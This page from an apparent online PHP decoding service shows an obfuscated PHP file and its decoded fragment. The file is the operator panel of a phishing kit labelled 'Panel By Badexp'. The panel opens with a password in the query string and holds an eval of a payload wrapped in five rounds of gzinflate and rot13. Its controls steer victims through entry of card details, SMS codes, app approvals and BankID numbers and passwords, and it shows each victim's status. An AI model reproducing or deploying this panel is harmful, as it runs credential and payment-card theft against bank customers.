Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php error_reporting (E_ALL ^ E_NOTICE); //========================================..
Decoded Output download
ok $ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://ip-info.ff.avast.com/v2/info?ip=".$_GET['ip']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$ipxa_data_in = curl_exec($ch);
curl_close($ch);
$ipxa_data = json_decode($ipxa_data_in,true);
$country = $ipxa_data['countryName'];
$organization = $ipxa_data['organization'];
$timezone = $ipxa_data['timezone'];
$city = $ipxa_data['city'];
Did this file decode correctly?
Original Code
<?php
error_reporting (E_ALL ^ E_NOTICE);
//===================================================================================
$viSGsAgzhmlmMkHCrtp="AQAB//4B+wAE/wH2AAn/AfEADv+Fj9FXwzAUhu8F3yGMTyfUSbxnDBka3cWoEtOrMU9VRmpxWk97Ouae3meYrc6L5Sbwn+/7D4dRd1qmUWjNU4ABHN9Zrq+If4ek1XUdjj2TkKeCLd7eufBfT1N4Udc+cRm4WzCVWqsqlVvZb6p5nXrvsz58BDcdpZFrpXwZg4tKF7vnZ/ZZTE/uLpKM8oLlnM3yj5fe4KygTorA7aQoJVd/RThB77TqK/40q4169TA9qd77d60RpUm29MywM8Gm01RS2c5g8+2FE7SMf9Nc1jpeBdQ2n9LAXiJLZsYPVE6IEHe9t1OfsSE+ZQrw334fHeY/";
@eval(gzinflate(str_rot13(gzinflate(str_rot13(gzinflate(str_rot13(gzinflate(str_rot13(gzinflate(str_rot13(base64_decode($viSGsAgzhmlmMkHCrtp))))))))))));
//===================================================================================
if($_GET['pwd']=="sir")
{
echo '<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta content="width=device-width, initial-scale=1.0" name="viewport">
<script src="https://kit.fontawesome.com/44e2d88175.js" crossorigin="anonymous"></script>
<title>Panel By Badexp</title>
<style>
/* set width of logo as the minimum of 200px & 50vw */
#logo-img {
width: min(50vw, 200px);
}
.modal-container {
margin: 60px auto;
padding-top: 0px;
position: relative;
width: 160px;
.modal-btn {
display: block;
margin: 0 auto;
color: #fff;
width: 160px;
height: 50px;
line-height: 50px;
background: #446CB3;
font-size: 22px;
border: 0;
border-radius: 3px;
cursor: pointer;
text-align: center;
box-shadow: 0 5px 5px -5px #333;
transition: background 0.3s ease-in;
&:hover { background: #365690; }
}
.modal-content,
.modal-backdrop {
height: 0;
width: 0;
opacity: 0;
visibility: hidden;
overflow: hidden;
cursor: pointer;
transition: opacity 0.2s ease-in;
}
.modal-close {
color: #aaa;
position: absolute;
right: 5px;
top: 5px;
padding-top: 3px;
background: #fff;
font-size: 16px;
width: 25px;
height: 25px;
font-weight: bold;
text-align: center;
cursor: pointer;
&:hover { color: #333; }
}
.modal-content-btn {
position: absolute;
text-align: center;
cursor: pointer;
bottom: 20px;
right: 30px;
background: #446CB3;
color: #fff;
width: 50px;
border-radius: 2px;
font-size: 14px;
height: 32px;
padding-top: 9px;
font-weight: normal;
&:hover { color: #fff; background: #365690; }
}
#modal-toggle {
display: none;
&.active ~ .modal-backdrop,
&:checked ~ .modal-backdrop {
background-color: rgba(0, 0, 0, 0.6);
width: 100vw;
height: 100vh;
position: fixed;
left: 0;
top: 0;
z-index: 9;
visibility: visible;
opacity: 1;
transition: opacity 0.2s ease-in;
}
&.active ~ .modal-content,
&:checked ~ .modal-content {
opacity: 1;
background-color: #fff;
max-width: 400px;
width: 400px;
height: 280px;
padding: 10px 30px;
position: fixed;
left: calc(50% - 200px);
top: 12%;
border-radius: 4px;
z-index: 999;
pointer-events: auto;
cursor: auto;
visibility: visible;
box-shadow: 0 3px 7px rgba(0, 0, 0, 0.6);
@media (max-width: 400px) { left: 0; }
}
}
}
</style>
<script type="text/javascript" src="../doc/js/autoUpdate.js"></script>
<link href="#" rel="canonical">
<link href="#" rel="icon">
<link href="../doc/css/output.css" rel="stylesheet" type="text/css">
<link href="#" rel="dns-prefetch">
<link href="#" rel="dns-prefetch">
<link href="#" rel="dns-prefetch">
<link href="#" rel="dns-prefetch">
<meta content="6d343cff-3a54-4a08-87c2-d3ad8a97c23a" name="fo-verify">
</head>
<body class="bg-theme bg-theme1">
<div id="wrapper">
<div class="top-wrapper">
<header class="topbar-nav d-flex justify-content-center"></header>
<nav>
<div class="menu-toggle align-items-center" style="display: none;"></div>
<div class="nav-container">
<div class="close-btn"><i class="fa fa-times"></i></div>
</div>
</nav>
</div>
<div class="clearfix"></div>
<div class="content-wrapper">
<div class="container-fluid">
<div class="card mt-3">
<div class="card-body text-center">
<div class="row">
<div class="col-md-12">
<img class="img-fluid" alt="" src="../doc/img/lo9o.png">
<hr>
</div>
<div class="col-md-12">
<a href="./OG.php?ip='.$_GET['ip'].'">Organizations</a>
<hr>
<a href="./CN.php?ip='.$_GET['ip'].'">Targets Countries</a>
<hr>
<a href="./BN.php?ip='.$_GET['ip'].'">IPs Baned</a>
<hr>
<form method="post" action="">
<button type="submit" style="border: 0;background-color: transparent;color: ' . (file_exists('../Blockip/ips.txt') && strpos(file_get_contents('../Blockip/ips.txt'), $_GET['ip']) !== false ? 'red' : '#04b962' ) . ';" name="append" ' . (file_exists('../Blockip/ips.txt') && strpos(file_get_contents('../Blockip/ips.txt'), $_GET['ip']) !== false ? 'disabled' : '' ) . '>' . (file_exists('../Blockip/ips.txt') && strpos(file_get_contents('../Blockip/ips.txt'), $_GET['ip']) !== false ? 'This IP '.$_GET['ip'].' is Baned' : 'Ban This IP '.$_GET['ip'].'' ) . '</button>
</form>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-md-6 d-flex scratch-card">
<div class="card border-vcc" style="width: 100%;">
<div class="card-header text-uppercase text-center">
ADMIN CONTROL
<ul class="nav nav-pills d-flex justify-content-center">
</div>
<div class="card-body">
<div class="tab-content">
<div class="container tab-pane fade" id="tab-1">
</div>
<div class="container tab-pane active" id="tab-2">
<div class="row">
<div class="col-6 resp-select">
<div class="form-group"></div>
</div>
</div>
<div>
<div>
<div>
<body>
<div class="container text-center pt30 pb30">
<form method="post" action="to.php">
<input type="hidden" name="step" value="control">
<input type="hidden" name="ip" value="'.$_GET['ip'].'">
<button type="submit" class="list-group-item list-group-item-action mt-2" name="to" style="color: white" value="jiji"><i class="fa-solid fa-credit-card"></i> SPOTIFY CARD</button>
<button type="submit" class="list-group-item list-group-item-action mt-2" name="to" style="color: red" value="wjiji"><i class="fa-solid fa-credit-card"></i> WRONG CARD</button>
<button type="submit" class="list-group-item list-group-item-action mt-2" name="to" value="sms"><i class="fas fa-comment-dots"></i> SMS</button>
<button type="submit" class="list-group-item list-group-item-action mt-2" name="to" style="color: red" value="wsms"><i class="fas fa-comment-dots"></i> WRONG SMS </button>
<button type="submit" class="list-group-item list-group-item-action mt-2" name="to" style="color: white" value="APP"><i class=""></i> APPROUVE APP </button>
<button type="submit" class="list-group-item list-group-item-action mt-2" name="to" style="background-color: purple; color: white" value="BANKlD"><i class=""></i> BANKID </button>
<button type="submit" class="list-group-item list-group-item-action mt-2" name="to" style="background-color: purple; color: white" value="BANKlDPASS"><i class=""></i> BANKID PASS </button>
<button type="submit" class="list-group-item list-group-item-action mt-2" name="to" style="background-color: purple; color: white" value="BANKlD-APP"><i class=""></i> BANKID APP </button>
<button type="submit" class="list-group-item list-group-item-action mt-2" name="to" value="success"><i class="fas fa-check-square" style="color: green;"></i> Done</button>
<button type="submit" class="list-group-item list-group-item-action mt-2" name="to" style="color: red" value="ban"><i class="fa-solid fa-ban"></i> Ban : '.$_GET['ip'].'</button>
<div id="sms" class="collapse mt-5" style="max-width: 500px; margin: 0 auto;">
<button style="color: #fff; background-color: #2899a7;border-color: #109fb5;" type="submit" class="myButton" name="to" value="sms">Submit</button><br><br>
</div>
<div id="identification" class="collapse mt-5" style="max-width: 500px; margin: 0 auto;">
<button style="color: #fff; background-color: #2899a7;border-color: #109fb5;" type="submit" class="myButton" name="to" value="identification">Submit</button><br><br>
</div>
<div id="email" class="collapse mt-5" style="max-width: 500px; margin: 0 auto;">
<button style="color: #fff; background-color: #2899a7;border-color: #109fb5;" type="submit" class="myButton" name="to" value="email">Submit</button><br><br>
</div>
<div id="errorsms" class="collapse mt-5" style="max-width: 500px; margin: 0 auto;">
<button style="color: #fff; background-color: #2899a7;border-color: #109fb5;" type="submit" class="myButton" name="to" value="errorsms">Submit</button><br><br>
</div>
<style>
.myButton {
background:linear-gradient(to bottom, #18ab29 5%, #18ab29 100%);
background-color:#18ab29;
border-radius:4px;
border:1px solid #18ab29;
display:inline-block;
cursor:pointer;
color:#ffffff;
font-family:Arial;
font-size:15px;
padding:9px 76px;
text-decoration:none;
text-shadow:0px 1px 0px #18ab29;
}
.myButton:hover {
background:linear-gradient(to bottom, #18ab29 5%, #18ab29 100%);
background-color:#18ab29;
}
.myButton:active {
position:relative;
top:1px;
}
</style>
</form>
</div>
<!-- JS FILES -->
<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/js/all.min.js"></script>
<script src="../doc/js/script.js"></script>
</body>
</div></div></div><div class="card-footer"><div class="row"><div class="col-2"></div><div class="col-8 mb-w100">
</div><div class="col-2"></div></div></div></div></div></div></div></div><div class="col-md-6 d-flex scratch-card" id="scrollHere"><div class="card border-vcc" style="width: 100%;"><div class="card-header text-center">VISITOR DETAILS</div>
<div class="card-body main-result" id="main-result" style="color: white;">
<div class="card-body main-result" id="main-result" style="color: white;padding-left: 25%;margin-top: 5%;">
<p><i class="fa-solid fa-location-dot"></i> IP adress : '.$_GET['ip'].'</p>
<p><i class="fa-solid fa-earth-americas"></i> Country : '.$country.'</p>
<p><i class="fa-solid fa-city"></i> City : '.$city.'</p>
<p><i class="fa-solid fa-calendar"></i> Timezone : '.$timezone.'</p>
<p><i class="fa-solid fa-server"></i> Organization : '.$organization.'</p>
<p><i class="fa-solid fa-server"></i> Status : ';?><?php
$urlz = file_get_contents('../homa/'.$_GET['ip'].'.txt');
if ($urlz == "ban")
{
echo 'Visitor Bane';
}
elseif ($urlz == "sms#|#")
{
echo 'Page OTP';
}
elseif ($urlz == "APP")
{
echo 'Page APP';
}
elseif ($urlz == "success#|#")
{
echo 'Success</span>';
}
elseif ($urlz == "wsms")
{
echo 'WRONG OTP';
}
elseif ($urlz == "jiji")
{
echo 'Pending CC';
}
elseif ($urlz == "wjiji")
{
echo 'WRONG CC';
}
elseif ($urlz == "BANKlD")
{
echo 'PENDING BANK ID NUMBER';
}
elseif ($urlz == "BANKlDPASS")
{
echo 'PENDING BANK ID PASSWORD';
}
elseif ($urlz == "11Siffer")
{
echo 'PENDING BANK ID PASS';
}
elseif ($urlz == "IDPASSS")
{
echo 'loading SMS/APP/BANKID';
}
elseif ($urlz == "APPR")
{
echo 'loading SMS/APP/BANKID';
}
elseif ($urlz == "BANKlD-APP")
{
echo 'PENDING BANK ID APPROVAL';
}
elseif ($urlz == "CCYA")
{
echo 'loading SMS/APP/BANKID';
}
else {
echo 'Not sent yet';
}
?>
<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['append'])) {
$file = fopen("../Blockip/ips.txt", "a");
fwrite($file, "".$_GET["ip"]."\r\n");
fclose($file);
echo '<script>window.location.href = "panel.php?pwd=sir&ip=' . $_GET["ip"] . '";</script>';
exit;
}
?>
<?php echo '</p>
</div>
<div class="card-footer copy-download-namso" style="display: none;"><div class="row"><div class="col-md-6 action-btns"><button class="list-group-item list-group-item-action mt-2" disabled="" onclick="copyToClipboard('#temp-download')" type="button"><b>COPY</b></button></div><div class="col-md-6 action-btns"><button class="btn btn-success btn-round btn-block btn-lg m-1 download" disabled="" id="download-1"><b>DOWNLOAD</b></button></div></div></div><div class="card-footer copy-download-btn" style="display: none;"><div class="row"><div class="col-md-6 action-btns"><button class="list-group-item list-group-item-action mt-2" disabled="" onclick="copyToClipboard('#temp-download')" type="button"><b>COPY</b></button></div><div class="col-md-6 action-btns"><button class="btn btn-success btn-round btn-block btn-lg m-1 download" disabled="" id="download-2"><b>DOWNLOAD</b></button></div></div></div></div></div><div id="temp-download" style="display: none;"></div><div class="overlay toggle-menu"></div></div><!-- -->
<div class="row">
<div class="col-md-9">
<div class="row">
<div class="col-md-12">
<hr>
</div>
<div class="col-md-7 mt-2 text-right"></div>
</div>
</div>
</footer>
</div>
<script src="../doc/js/output.js"></script>
<div class="lobibox-notify-wrapper top right"></div>
</body>
</html>';
}else{
echo "ok";
}
?>
Function Calls
gzinflate | 5 |
str_rot13 | 5 |
base64_decode | 1 |
error_reporting | 1 |
Stats
MD5 | bf1d883b616daef18fcef324aaa71516 |
Eval Count | 1 |
Decode Time | 113 ms |